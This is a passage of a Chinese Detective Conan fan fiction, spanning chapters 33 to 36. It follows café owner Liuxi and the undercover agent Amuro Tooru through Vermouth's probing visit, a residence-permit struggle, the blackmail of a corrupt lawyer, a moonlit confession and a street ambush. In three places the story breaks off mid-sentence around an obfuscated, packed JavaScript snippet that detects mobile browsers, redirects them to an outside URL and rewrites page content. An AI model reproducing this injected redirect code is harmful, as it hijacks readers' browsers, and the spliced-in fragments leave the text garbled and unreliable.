“琴酒先生喜欢店长的手艺。”安室透的回答滴水不漏,“我只是个打杂的。” “是吗?”贝尔摩德抿了一口咖啡,目光越过安室透的肩膀,落在鎏汐身上,“那位就是新店长吧?看起来很年轻。” 鎏汐不得不转身,微微点头:“您好,我是鎏汐。” 两人的目光在空中相遇。 贝尔摩德的眼神很温柔,温柔得像是在看一个喜爱的后辈。但鎏汐能感觉到那温柔之下的审视——像手术刀一样,试图解剖她的每一层伪装。 “鎏汐小姐。”贝尔摩德重复了一遍她的名字,发音标准得不像初次听说,“波——安室先生经常提起你,说你厨艺很好。” 她第二次差点说漏“波本”,这次改口得更明显,明显到几乎是一种挑衅。 安室透的笑容有些僵硬,但语气依旧温和:“贝尔摩德小姐说笑了,我只是和店长讨论工作。” “工作?”贝尔摩德挑眉,身体微微前倾,这个动作让她风衣的领口稍稍敞开,露出锁骨处一道极淡的疤痕,“什么样的工作,需要每天一起待到深夜?” 这话里的暧昧意味太重,店里有几个年轻顾客忍不住偷笑,看向鎏汐和安室透的眼神都变了。 鎏汐的脸冷了下来:“咖啡厅的营业时间是到晚上十点,所有员工都会工作到那个时间。如果贝尔摩德小姐对我们的营业时间有疑问,可以看门口的告示。” 她的回答冷静而官方,把暧昧的试探硬生生扭成了工作讨论。 贝尔摩德愣了一下,随即笑出声来:“有意思。难怪琴酒说你特别。” 她站起身,走到吧台前,近距离地看着鎏汐。这个距离已经突破了陌生人之间的安全界限,鎏汐能闻到她身上淡淡的香水味——前调是橙花,中调是琥珀,后调……有一丝若有若无的火药味。 “你知道吗,鎏汐小姐。”贝尔摩德的声音压得很低,低到只有她们两人能听见,“跟波本走得太近,是很危险的。” 她这次没有改口,直截了当地说出了“波本”。 鎏汐的心跳骤然加速,但脸上的表情没有丝毫变化:“我不明白您在说什么。” “你会明白的。”贝尔摩德意味深长地说,“有些人看着光鲜,骨子里却沾满了洗不掉的血。你确定,你想站在他那边?” 这话几乎是明示了。鎏汐的指尖微微发凉,她强迫自己直视贝尔摩德的眼睛:“我只知道安室先生是我的员工,工作认真,待人礼貌。至于他私下是什么样的人,与我无关。” “与你无关?”贝尔摩德笑了,那笑容里带着几分怜悯,几分嘲讽,“当你被他拖进深渊的时候,你就会知道有没有关系了。” 她说完,从手包里抽出一张万元钞票,放在吧台上。 “咖啡很好喝,不用找了。剩下的……就当是给你的小费,鎏汐小姐。”她顿了顿,补充道,“给自己留条后路,总是没错的。” 贝尔摩德重新戴上墨镜,转身离开。风铃再次响起,她的身影消失在门外的人流中,仿佛从未出现过。 但咖啡厅里的气氛已经变了。 安室透走到鎏汐身边,脸色难得地凝重:“她跟你说了什么?” 鎏汐看着吧台上那张万元钞票,沉默片刻,才开口:“她让我离你远点。” “还有呢?” “她说你很危险。” 安室透的嘴唇抿成一条直线,紫灰色的眼睛里闪过复杂的情绪——有愤怒,有无奈,还有一丝……歉疚? “对不起。”他突然说。 鎏汐转头看他:“为什么道歉?” “因为我,你被卷进来了。”安室透的声音很低,“贝尔摩德不会无缘无故出现,她是来试探的,试探你,也试探我。” “试探什么?” “试探你的立场,试探你和我的关系,试探……你会不会成为组织的威胁。”安室透深吸一口气,“今天过后,你在组织那边的档案,恐怕又要加厚几页了。” 鎏汐没有说话。她拿起那张万元钞票,对着光看了看,然后撕成两半,扔进了垃圾桶。 “我不需要她的钱。”她说,“也不需要她的‘建议’。” 安室透看着她,眼神里有什么东西在融化。 “你不怕吗?”他问,“贝尔摩德说得没错,跟我走得太近,确实很危险。组织,公安,红黑博弈……每一步都可能丧命。” 鎏汐重新拿起抹布,开始擦拭咖啡机。她的动作很慢,很认真,仿佛在完成一件艺术品。 “我经历过更危险的。”她淡淡地说,“而且,我讨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“打烊吧。”她说,“明天还要营业。” “是。” 安室透开始收拾桌椅,鎏汐清点今天的营业额。两人各忙各的,却有一种奇妙的默契——谁也不需要说话,动作自然衔接,像配合多年的搭档。 关灯前,鎏汐最后看了一眼窗外。 夜幕降临,米花町的灯火次第亮起,将黑夜点缀成一片温暖的星海。街道对面,一个身影靠在路灯下,正在抽烟——红色的烟头在黑暗中明明灭灭,看不清脸,但鎏汐能感觉到那道目光,正隔着玻璃窗,落在波罗咖啡厅的招牌上。 贝尔摩德,或者她派来的人,还在监视。 但鎏汐只是平静地拉下了卷帘门。 金属摩擦的声音在寂静的街道上格外清晰,隔绝了内与外,也隔绝了光与暗。 安全锁扣上的瞬间,安室透的声音在身后响起:“我送你回去。” “不用。” “要。”安室透的语气不容拒绝,“贝尔摩德的人可能还在附近。” 鎏汐没有坚持。两人从后门离开,走进窄巷。月光将他们的影子拉得很长,交叠在一起,分不清彼此。 巷口的风有些凉,鎏汐下意识拢了拢衣领。下一秒,一件带着体温的外套披在了她肩上。 “穿上。”安室透说,自己只穿着单薄的衬衫,“别感冒。” 外套上有他身上特有的味道——咖啡香,还有一点点干净的皂角气息。鎏汐犹豫了一秒,最终没有拒绝。 两人并肩走在夜色中,脚步声在石板路上轻轻回响。 “鎏汐。”安室透忽然开口。 “嗯?” “如果有一天……我是说如果,你必须在我和组织之间做选择。”他停下脚步,转头看她,月光在他脸上投下深深浅浅的阴影,“选组织。” 鎏汐愣住了。 “为什么?” “因为选我,你会死。”安室透的声音很平静,平静得近乎残忍,“选组织,至少能活。” 鎏汐看着他,看了很久。 然后,她忽然笑了。那是一个很浅的笑容,几乎看不见,但确实存在。 “我从来不做选择题。”她说,“我选第三条路。” “什么路?” “我自己的路。” 说完,她继续往前走,脚步没有一丝迟疑。 安室透站在原地,看着她被月光勾勒出的清瘦背影,很久很久。 最终,他快步追了上去,与她并肩。 “那我也选第三条路。”他说。 “什么路?” “你走的路。” 夜色深沉,星光黯淡。 但有些光,不需要星星,也不需要月亮。 它们从心底生发,照亮前路,也照亮彼此。 34.第 34 章 鎏汐站在吧台后擦拭着玻璃杯,指尖微凉,眼神却始终清明。窗外的米花町被秋日的阳光镀上一层柔和的暖金色,街边的银杏叶已染上淡黄,风一过便簌簌落下几片。 距离她拿到临时居住证只差最后一环——担保人。 山田律师的电话三天前打来时语气尚算平和,今天却又一次变卦,说警方审查趋严,需要“更有分量”的担保人,言外之意是要加码。鎏汐挂断电话,指节轻轻叩在冰凉的台面上,心头一片冷然。她不是听不出话里的为难,也并非不懂这人世间的弯绕——只是她厌恶被拿捏。 “怎么了?”安室透端着刚磨好的咖啡豆走近,敏锐地察觉到她周身气压的降低。他今天穿了件浅灰色的针织衫,袖口随意挽起,倒比平时少了些锋芒,多了几分居家的温和。 鎏汐抬眼,目光在他脸上停留一瞬,又移开:“没事。” 她不愿说,安室透便不再追问,只是转身时,眼底掠过一丝不易察觉的思量。他太清楚鎏汐如今的处境——像踩在薄冰上行走,稍有不慎便会坠入冰冷的水底。那份临时居住证是她扎根这个世界的唯一凭证,也是她摆脱“黑户”阴影、真正拥有“身份”的关键。他不能让她在这最后一步功亏一篑。 当天下班后,安室透没有像往常一样留在咖啡厅帮忙收拾,而是借口“有事”提前离开。鎏汐看着他匆匆离去的背影,心中并无波澜,只当他又接了黑衣组织的任务。她将最后一叠洗净的杯子倒扣在沥水架上,关掉店内的主灯,只留了吧台一盏暖黄的壁灯,然后独自坐在靠窗的位置,望着窗外渐深的夜色。 米花町的夜晚从不寂静。远处隐约传来警车的鸣笛,近处则有醉汉含糊的歌声,便利店门口的自动门开了又关。这一切都与她隔着一段距离,像隔着毛玻璃观看一场无声的戏剧。她不属于这里——至少现在还不完全属于。 指尖无意识地在桌面划动着,勾勒出一个简单的轮廓——那是她曾经在另一个世界执行任务时常用的战术标记。系统沉寂后,这些痕迹成了她与过去唯一的、脆弱的连结。而现在,她需要在这个世界创造新的连结。 *** 与此同时,安室透正坐在一辆不起眼的黑色轿车里,指尖在手机屏幕上快速敲击。车窗外的景物飞速倒退,霓虹灯光在他深邃的眼眸中明明灭灭。 他在联系一个人——高桥和彦,一位表面身份是进口贸易商人,实则是公安培养了多年的可靠线人。高桥为人谨慎,背景干净,社会关系稳固,且与警视厅部分高层有良好的私交,是担保人的绝佳人选。 电话接通后,安室透言简意赅:“高桥先生,有件事想拜托你。” 对方似乎并不意外,声音沉稳带笑:“安室先生难得开口,想必很重要。” “是。”安室透没有迂回,“我需要您为一个人做身份担保,女性,二十五岁左右,背景……有些复杂,但绝非恶人。她需要一张临时居住证。” 电话那头沉默了片刻,并非犹豫,而是在权衡:“能让你亲自出面,看来这位小姐不一般。资料发我,我会处理妥当。” “多谢。”安室透顿了顿,“此事不宜张扬,尤其是……不要让组织那边嗅到任何气息。” “我明白。” 通话结束,安室透靠向椅背,缓缓舒了口气。车窗映出他此刻的神情——褪去了在咖啡厅时的轻松温和,只剩下属于“波本”的冷冽与属于“降谷零”的凝重。他知道自己在冒险。动用公安线人介入私事,一旦被组织察觉,不仅会危及高桥,更可能暴露他自己的真实立场。但当他想起鎏汐独自站在吧台后那挺直却单薄的背影时,那份犹豫便烟消云散。 他不能让她再漂泊下去。 *** 次日清晨,波罗咖啡厅刚开门,一位身着深灰色西装、气质儒雅的中年男士便推门而入。他大约五十岁上下,头发梳得一丝不苟,手里提着一个简约的公文包,笑容得体而不失温度。 “欢迎光临。”正在整理菜单的鎏汐抬头,职业性地问候。 “早安。”男士走到吧台前,目光在店内扫视一圈,最后落在鎏汐脸上,“请问安室透先生在吗?” 鎏汐还未回答,安室透已从后厨掀帘而出,手中端着刚烤好的可颂,见到来人,眼底掠过一丝笑意,随即恢复如常:“高桥先生,您来了。” 他转向鎏汐,介绍道:“鎏汐,这位是高桥和彦先生,我之前提过的,在商贸领域有些影响力的朋友。”他特意加重了“朋友”二字。 鎏汐瞬间明白了。她看向高桥,对方也正温和地打量着她,目光里没有审视,只有一种长辈般的包容。 “鎏汐小姐,幸会。”高桥主动伸出手,“安室先生跟我提过你的事。如果不介意,我想我们可以详细聊聊担保手续的具体细节。” 鎏汐握了握他的手,触感干燥温暖。她点头,侧身示意:“请里面坐。” 三人进了咖啡厅内侧较为安静的卡座。高桥从公文包里取出几份文件,摊在桌上,语调平缓清晰:“临时居住证的担保,主要需要担保人提供稳定的职业证明、纳税记录、住址确认,以及一份具结保证书,承诺对被担保人的行为负有一定监管责任。这些材料我已准备齐全。” 他推过一份表格:“鎏汐小姐需要配合的,是填写这份个人信息表,并提供近期证件照。另外,警方可能会安排一次简单的面谈,主要是确认你的基本情况与来日目的,届时如实说明即可,不必紧张。” 他的措辞严谨而周全,显然是常与行政程序打交道的人。鎏汐迅速浏览文件,心中那根紧绷的弦稍松了些许。她抬头看向安室透,他正低头搅拌着咖啡,氤氲的热气模糊了他侧脸的轮廓,但她能感觉到他看似随意的姿态下那份专注的留意。 “高桥先生,”鎏汐开口,声音平静,“我目前没有固定收入来源,经营咖啡厅也是刚刚起步,这一点是否会影响审核?” 高桥微笑摇头:“担保制度的核心在于担保人的信用与被担保人的无害性。你的咖啡厅有合法注册记录,且安室先生也愿意提供雇佣证明,证明你有正当工作意向与能力。这些就够了。” 谈话进行得顺利。高桥甚至提前预约了下周一向区役所提交申请的时间,并贴心地提醒鎏汐需要携带哪些副本材料。一切似乎都在朝着光明的方向推进。 然而,就在高桥收拾文件准备离开时,他似不经意地提了一句:“对了,最近警视厅户籍科那边人事有些变动,审核可能会比往常稍严。如果过程中遇到任何额外的要求或延迟,请随时联系我,我在那边还有些熟人可以帮忙沟通。” 安室透眼神微凝,与高桥交换了一个短暂而深沉的目光。 鎏汐捕捉到了这一闪而过的异样。她送高桥至门口,礼貌道谢,转身回来时,安室透已站在吧台后,重新系上了围裙,仿佛刚才的一切都只是日常插曲。 “为什么帮我?”鎏汐走到他身边,声音压得很低。 安室透没有立刻回答。他将洗好的滤杯擦干,挂回架上,动作从容不迫。然后,他才侧过头,对她露出一个惯常的、略带调侃的笑:“不是说过了吗?少了你这样的竞争对手,米花町的兼职市场会变得很无趣。” 又是这种模棱两可的玩笑。鎏汐抿了抿唇,没再追问。有些答案,或许不必急于揭晓。 *** 三天后,变故果然来了。 区役所打来电话,通知鎏汐的申请材料中缺少一份“详细居住情况证明”,要求她提供过去三个月的准确住址变迁记录与每一处的房东确认函——这对于一个曾辗转桥洞、废弃仓库、临时借住杂货店的“黑户”而言,几乎是不可能完成的要求。 电话那头的公务员语气客气却不容置疑:“鎏汐小姐,这是新规,也是为了确保社区安全,请您理解。” 鎏汐挂断电话,站在咖啡厅后门狭窄的走廊里,窗外阴云聚集,眼看一场秋雨将至。空气中弥漫着潮湿的泥土气息,混杂着后巷垃圾桶隐约的酸腐味。她背靠着冰凉的墙壁,闭上眼睛。 又是阻碍。总是差最后一步。 “怎么了?”安室透的声音从身后传来。他刚送走一桌客人,手里还拿着点单本。 鎏汐将区役所的要求简短告知。安室透听完,眉头蹙起,眼神沉了下去。“这不是常规要求。”他斩钉截铁道,“有人插手了。” 两人对视一眼,几乎同时想到了同一个人——山田律师。 “我去找他。”安室透解下围裙,语气里带上了属于“波本”的冷硬。 “一起。”鎏汐拦住他,“这是我的事。” 安室透看着她坚定的眼神,最终点头:“好。但需要计划。” 他们并没有直接冲去律师事务所。鎏汐先以咨询进度为由,打电话给山田律师,语气如常,甚至带着些许焦急与无助。电话那头,山田律师的态度比上次更加圆滑,一边表示“会尽力周旋”,一边又暗示“警方那边有些朋友打了招呼,可能需要额外打点”。 鎏汐全程录音。 与此同时,安室透通过公安内部渠道,快速调取了山田律师近期的通讯记录与银行流水。不到两小时,结果便出来了——就在区役所提出新要求的前一天,山田的账户 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17040973|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 收到了一笔来自空壳公司的汇款,数额不大,却足够作为“辛苦费”。而那个空壳公司的背后,隐约牵扯到黑衣组织外围的一个情报贩子。 “果然。”安室透将打印出的流水单放在咖啡厅后台的小桌上,指尖点在那个陌生的账户名上,“他被收买了,故意卡你。” 鎏汐看着那些数字,脸上没什么表情,唯有眼神冰冷如刃。她讨厌背叛,更讨厌被当作棋子摆布。 “接下来怎么做?”她问。 安室透勾起嘴角,那笑容里没有温度,只有属于执行者的锐利:“既然他喜欢玩阴的,我们就陪他玩到底。” *** 当天傍晚,山田律师接到了鎏汐的电话,约他在一家僻静的茶室见面,说“准备了谢礼,想当面感谢律师先生的辛苦”。山田不疑有他,欣然赴约。 茶室包厢里,鎏汐独自跪坐在榻榻米上,面前的小几上摆着一壶清茶,两只茶杯。她穿着简单的米白色针织衫与深色长裤,长发束在脑后,看起来安静而无害。 山田推门而入,脸上堆着职业性的笑容:“鎏汐小姐,让你久等了。” “山田律师,请坐。”鎏汐为他斟茶,动作优雅流畅。 寒暄几句后,山田将话题引向正题:“区役所那边的要求确实棘手,不过你放心,我在那边有些关系,只要稍微打点一下,应该能疏通……” “需要多少?”鎏汐打断他,抬眸直视。 山田被她看得一怔,随即伸出两根手指:“这个数,应该够了。” 鎏汐没有问是两万还是二十万。她轻轻放下茶壶,从随身携带的帆布包里取出一支录音笔,按下播放键。里面清晰地传出山田在电话里暗示“需要打点”的声音。 山田的脸色瞬间变了。 “另外,”鎏汐不疾不徐地又拿出一份文件复印件,推到他面前,“这是某个空壳公司向您账户汇款的记录。巧合的是,这家公司似乎与某些不太干净的组织有往来。如果这份记录出现在警视厅廉政科的桌上,不知道律师先生的职业生涯会受多大影响?” 山田额角渗出冷汗,他猛地站起身:“你……你调查我?!” “彼此彼此。”鎏汐端起茶杯,抿了一口,语气平静无波,“我只想拿到我应得的身份证明。律师先生若能就此罢手,顺利帮我办完手续,那么录音和流水单都会消失。否则……” 她没有说完,但威胁之意已不言而喻。 山田脸色青白交加,最终颓然坐回原位。他小看了这个女人,她远比他想象的更难对付。 “我……我会处理好。”他咬牙道,“区役所那边不会再有问题。” “最好如此。”鎏汐收起东西,站起身,“后续手续,还请律师先生多费心。该付的律师费,我一分不会少。不该付的,也请别再动心思。” 她说完,微微颔首,转身离开包厢,留下山田一人面对一室冰冷的寂静。 门外走廊的阴影里,安室透倚墙而立,见她出来,眼中掠过一丝赞许的笑意。“解决了?” “暂时。”鎏汐走到他身边,两人并肩朝茶室外走去。秋夜的凉风迎面吹来,带着雨水将至的气息。 “我这边也处理干净了。”安室透低声道,“那个情报贩子,公安会‘关照’他一段时间,他暂时没空再找麻烦。” 鎏汐侧头看他。街灯的光晕在他脸上投下柔和的阴影,缓和了他轮廓的锋利。她忽然想起高桥先生那天离开时,对她说的那句意味深长的话:“安室先生很少为谁做到这个地步。鎏汐小姐,你很特别。” 特别吗?她不知道。她只知道,在这个危机四伏的世界里,有一个人愿意为她动用隐藏的筹码,扫清前路的障碍。这份沉甸甸的“帮助”,她无法轻易说“谢”,却也无法视而不见。 “安室透。”她忽然唤他。 “嗯?” “等身份办下来,”她顿了顿,目光看向前方被霓虹点亮的街道,“我请你吃饭。不是咖啡厅的便当,是正式的晚餐。” 安室透脚步微顿,随即,一抹真实而温暖的笑意从他眼底漾开,浸透了整个眼眸。 “好啊。”他说,“我等着。” 雨终于落了下来,淅淅沥沥,敲打着街道两侧的屋檐。两人快步跑向不远处亮着暖光的波罗咖啡厅,身影在雨幕中逐渐模糊,又逐渐清晰,最终融入那片属于他们的、小小的安稳天地之中。 身份转机的齿轮,终于在明暗交织的推动下,缓缓咬合,朝着光的方向转动。而深埋于日常之下的暗流与情愫,亦在这场秋雨中悄然滋长,静待破土而出的时刻。 35.第 35 章 夜色如墨,米花町的霓虹在远处晕染成一片模糊的光海,而波罗咖啡厅门前的街道却异常安静。最后一盏招牌灯熄灭后,鎏汐没有立刻离开,她拉过门旁那把褪了漆的木椅,轻轻坐下。 晚风带着初秋的凉意,撩起她颊边几缕碎发。她仰起头,夜空澄澈,一轮近乎圆满的月亮悬在墨蓝的天幕上,清辉如水,静静泼洒在寂静的街面、紧闭的店门,和她摊开的手心。指尖微凉,触到的却不再是穿越初临时的空茫与冰冷。一种奇异的、沉甸甸的实感,正从心底某个角落缓慢滋生——那是“即将拥有”的预感。临时居住证的最后一道手续已在今天下午提交,山田律师那点不甘的阻挠也被彻底碾碎。不出意外,几天后,一张印着她照片和名字的证件,将正式宣告她在这个世界的“存在”。 从暗巷垃圾桶旁的阴影,到桥洞湿冷的蜷缩,再到废弃仓库里就着月光啃食半块面包……那些画面像老旧的默片,一帧帧从眼前掠过,带着彼时冰冷的温度和急促的心跳。然后画面切换:快餐店油腻的后厨,花店里散落一地的花瓣,雨夜中安室透被锁在仓库门后那双恼怒又复杂的眼睛……最后,定格在眼前这片被月光笼罩的、属于“波罗咖啡厅”的宁静屋檐。 “家”这个字,对她而言曾经只是个遥远且无意义的概念。在原本的世界里,她是流动的利刃,是系统指令下的影子,居所不过是任务间隙暂时停驻的坐标。而现在,这间飘散着咖啡与面包香气的小店,这些被她亲手擦拭过的玻璃杯,记录着每日收支的账本,甚至那个总在眼前晃悠、让她头疼又无可奈何的金发男人……这一切,竟奇异地编织出一种她从未体验过的“归属感”。 脚步声自身后响起,沉稳,熟悉,带着一种刻意放轻的节奏。 她没有回头。 安室透走到她身侧,没有坐下,只是倚靠在门框上,顺着她的目光望向那轮月亮。他换了衣服,不再是白天的侍应生制服,而是一件简单的深色连帽衫,衬得他肤色愈深,金发在月光下泛着柔和的光泽。卸下了“波本”的冷冽与“安室透”的完美笑容,此刻的他,神情是少见的松弛,甚至透出一丝不易察觉的疲惫。 “看什么呢,这么入神?”他开口,声音比平时低了几分,像大提琴最低的那根弦被轻轻拨动。 “月亮。”鎏汐答得简略,目光仍停留在夜空,“这里的月亮,和我以前看过的,好像没什么不同。” 又好像,处处不同。她在心里补充。 安室透沉默了片刻,似乎在咀嚼她这句话里未曾言明的意味。然后,他也拉过一把椅子,在她旁边坐下,两人之间隔着一臂的距离,不远不近,恰好能感受到彼此的存在,又不会侵犯那份微妙的边界。 “我以前,”他忽然开口,语调平缓,像在讲述一个与自己无关的故事,“也常常一个人看月亮。在……一些很难熬的时候。”他没有具体说是什么时候,卧底生涯的刀尖舞蹈,公安工作的沉重压力,失去同伴的漫长黑夜……那些时刻,月亮是唯一沉默的见证者。“那时候就在想,如果能有一天,不必再背负那么多,只是简简单单地开一家店,每天忙忙碌碌,为客人的笑容和账本上的数字操心,晚上打烊后,能这样安静地看一会儿月亮……就好了。” 他说得轻描淡写,鎏汐却听出了话语底下深埋的暗流。她侧过头,第一次在如此近的距离、如此放松的状态下仔细打量他。月光勾勒出他清晰的下颌线,高挺的鼻梁,还有那双总是蕴藏着太多秘密的紫灰色眼睛。此刻,那双眼底没有戏谑,没有试探,只有一片坦然的、略带倦意的平静。 “你现在,不就在开咖啡厅吗?”她问,语气里带着一丝她自己都未察觉的探究。 安室透低笑了一声,那笑声里有些许自嘲:“是啊,波罗咖啡厅。不过……”他顿了顿,转头迎上她的目光,“现在这里,是你的店了,店长。” 他的目光很专注,鎏汐心头莫名一跳,下意识想移开视线,却又莫名地定住了。 “你呢?”安室透自然地接过话题,将问题抛了回来,语气温和,不带任何压迫感,“在来到米花町之前,你是做什么的?为什么会……选择这里?”他谨慎地避开了“流落”、“黑户”这样的字眼。 夜风似乎停滞了一瞬。 鎏汐重新望向月亮,良久,才缓缓开口,声音像浸了月色的溪流,清冷而平缓:“没什么特别的。只是……没有可以回去的地方,一直在不同的地方漂泊。路过这里,觉得……或许可以停下来试试。” 她省略了系统、任务、执行官,省略了另一个世界的硝烟与法则。那些离奇的真相,此刻并非倾诉的时机。但她给出的,并非谎言,而是另一种层面上的真实——一个孤独的灵魂,在无尽的跋涉后,偶然觅得一处看似可以容身的屋檐。 安室透没有追问。他听出了她话语中的保留,也感受到了那份真实背后的重量。一个身怀绝技、观察力敏锐、厨艺精湛,却对现代社会常识略显生疏,且没有任何过往痕迹的女子……她的来历绝不简单。但奇异的是,他此刻并不急于挖掘那背后的秘密。比起她的过去,他更在意的是她的现在,以及……他希望能够参与的未来。 “漂泊啊……”他轻声重复,目光也投向遥远的夜空,“那一定很辛苦。” 一句简单的感叹,没有怜悯,只有理解。鎏汐蜷缩在椅中的手指,几不可察地松开了些许。 “以后,”安室透的声音再次响起,比刚才更低沉,也更温柔,像夜色本身一样包裹过来,“波罗咖啡厅就是你的家。不用担心再漂泊。” 他顿了顿,仿佛下了某种决心,继续道:“我会一直在这里,陪着你。无论发生什么。” 这句话落下,周围的空气仿佛忽然变得粘稠起来。月光依旧清朗,晚风依旧轻缓,但某种难以言喻的东西,正在两人之间无声地流动、发酵。 鎏汐的心跳漏了一拍。她不是不懂这句话里可能蕴含的深意,只是……长久以来的生存法则让她习惯了将一切“好意”进行风险评估。陪伴?守护?在她过去的认知里,这些词汇往往与“任务”、“责任”、“交换条件”紧密相连。纯粹的、不求回报的“陪伴”,是一种近乎奢侈且可疑的概念。 尤其是,说出这话的人是安室透——那个从一开始就与她针锋相对、处处争抢、心思难测的男人。即便后来他数次出手相助,即便两人在危机中渐生默契,即便她内心深处对他已悄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17045860|194076||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然改观……但“一直陪着你”这样的承诺,听起来太过美好,也太过……危险。 在她过往的经验里,美好的承诺背后,往往藏着更深的图谋。 几乎是本能地,她的大脑开始飞速分析:他是否想通过情感纽带进一步绑定她,以便更稳固地控制咖啡厅?毕竟,她现在名义上是他的上司,但实际经营中,他的经验与人脉不可或缺。他是否在为将来某天夺取咖啡厅的经营权铺垫?或者,这又是他某种更迂回、更深层的试探? 纷乱的思绪在她冷静的外表下翻滚。她感觉到耳根微微发热,但面上却更冷了几分。 于是,在安室透隐含期待的目光中,鎏汐缓缓站起身。木椅腿与地面摩擦,发出轻微的“吱呀”声,在寂静的夜里格外清晰。 她没有看他,只是对着空气,用她那特有的、听不出什么情绪的平静语调说:“咖啡厅就是咖啡厅,是工作的地方。店长的位置,我会靠自己的能力坐稳,不需要别人用这种方式来‘绑定’。” 她将“绑定”两个字咬得略微清晰,然后,顿了顿,补充道:“很晚了,明天还要营业。” 说完,她转身,径直朝着自己临时租住的公寓方向走去,背影挺直,脚步平稳,没有丝毫犹豫或留恋,很快便融入了街道拐角的阴影里。 安室透坐在原地,没有动,也没有出声挽留。他只是望着她消失的方向,月光落在他脸上,映出他眼中一闪而过的错愕,随即化为浓得化不开的无奈,还有一丝几乎无法察觉的……心疼。 他听懂了她的潜台词。在她那颗被过往经历层层包裹、警惕性极高的心里,他真挚的试探,被误解成了又一场关于“权力”与“位置”的算计。 “还真是……”他低声自语,嘴角勾起一抹苦涩又宠溺的弧度,“防备心重得像个刺猬。” 不过,他并没有感到挫败。相反,她这种过于“务实”的误解,恰恰印证了她情感世界的纯粹与笨拙。她不是抗拒,而是根本未曾将他的行为导向“喜欢”这个选项。这对习惯了在谎言与伪装中周旋的安室透而言,竟有种奇异的吸引力。 夜风渐起,带来远处隐约的警笛声,提醒着这个城市永不停止的暗流。安室透缓缓吐出一口气,也站了起来。他最后看了一眼鎏汐离开的方向,又抬头望向那轮皎洁的月亮,眼中的无奈渐渐沉淀为一种更为坚定的温柔。 路还很长。但他有的是耐心。 而对于鎏汐,当她回到那间虽小却整洁的公寓,关上门,背靠着冰凉的门板时,才后知后觉地意识到,自己掌心不知何时,竟微微汗湿了。 窗外,月光无声流淌,照着她微微泛红的耳尖,也照着她眼中一闪而过的、连自己都未曾完全理解的迷茫。 那一句“我会一直在这里,陪着你”,像一颗投入心湖的石子,涟漪虽被理智强行压下,却已悄然扩散,再也无法恢复最初的平静。 月光下的试探,无声落幕。一个笨拙地误解,一个了然地承受。信任的幼苗在坚冰下缓慢扎根,而名为“在意”的藤蔓,早已在无数次的交锋、互助与陪伴中,悄然缠绕上两颗同样孤独而骄傲的心。破冰之日或许尚远,但冰层之下,暖流已开始隐秘涌动。 36.第 36 章 夜色渐浓,波罗咖啡厅最后一盏招牌灯熄灭时,鎏汐正将门锁仔细扣好。金属锁芯发出清脆的“咔哒”声,在寂静的街道上格外清晰。晚风带着初秋的凉意,卷起地上几片落叶,窸窣作响。 她拉紧身上单薄的黑色外套,转身走向咖啡厅后巷——那是通往她临时租住公寓的捷径。巷子比白天更显幽深,两侧高墙投下浓重的阴影,仅有远处路口一盏昏黄路灯,勉强勾勒出凹凸不平的地面轮廓。 脚步踩在碎石上,发出细碎的声响。鎏汐习惯性地放缓呼吸,目光如扫描仪般掠过巷口堆放的杂物箱、对面楼房紧闭的窗户、以及转角处那辆蒙尘的旧货车。一切看似如常,空气中弥漫着夜露的湿润和垃圾箱隐约的酸腐气。 然而,就在她经过货车车尾的刹那,一种近乎本能的警报在她脑中尖锐响起。 太静了。 不仅是没有行人——这本就正常——而是连野猫翻找垃圾的窸窣、远处主干道隐约的车流声,都在这一刻被某种无形的屏障隔绝了。空气凝滞,连风都仿佛绕道而行。 鎏汐的脚步未停,甚至节奏都没有改变,但全身肌肉已在瞬间调整至备战状态。她佯装低头整理袖口,眼角的余光却精准地捕捉到侧后方杂物堆阴影中,一道几乎与黑暗融为一体的轮廓,轻微地挪动了一下。 不是错觉。 几乎在同一时间,前方巷子尽头的拐角处,另一道魁梧的身影无声踏出,挡住了去路。紧接着,左右两侧墙头的阴影里,又缓缓立起两人。 四人,呈包围之势。动作专业,站位刁钻,封死了所有可能的逃脱路线。他们穿着便于行动的深色便服,脸上没有任何遮挡,眼神里却只有冰冷刺骨的杀意——那是属于亡命之徒的眼神,不在乎暴露面容,因为根本没打算让目击者活着离开。 “鎏汐小姐?”挡在正前方的男人开口,声音粗哑,像砂纸摩擦铁皮,“有人托我们给你带个话——红方的饭,没那么好吃。” 话音未落,他毫无征兆地率先发动攻击!沉重的身躯却爆发出惊人的速度,一拳直捣鎏汐面门,拳风凌厉,毫无花哨,是纯粹的街头搏杀术。 鎏汐在对方肩胛肌肉收缩的瞬间已然预判,她没有后退——身后两人正蓄势待扑——而是猛地矮身,险险避过拳锋,同时右腿如鞭子般扫向对方下盘。男人反应极快,抬膝格挡,“砰”的一声闷响,两人各自退开半步。 但这仅仅是开始。左右两人已同时扑上!左侧之人手持短棍,挥向她的太阳穴;右侧之人则亮出寒光闪闪的匕首,直刺腰腹。配合默契,角度狠辣。 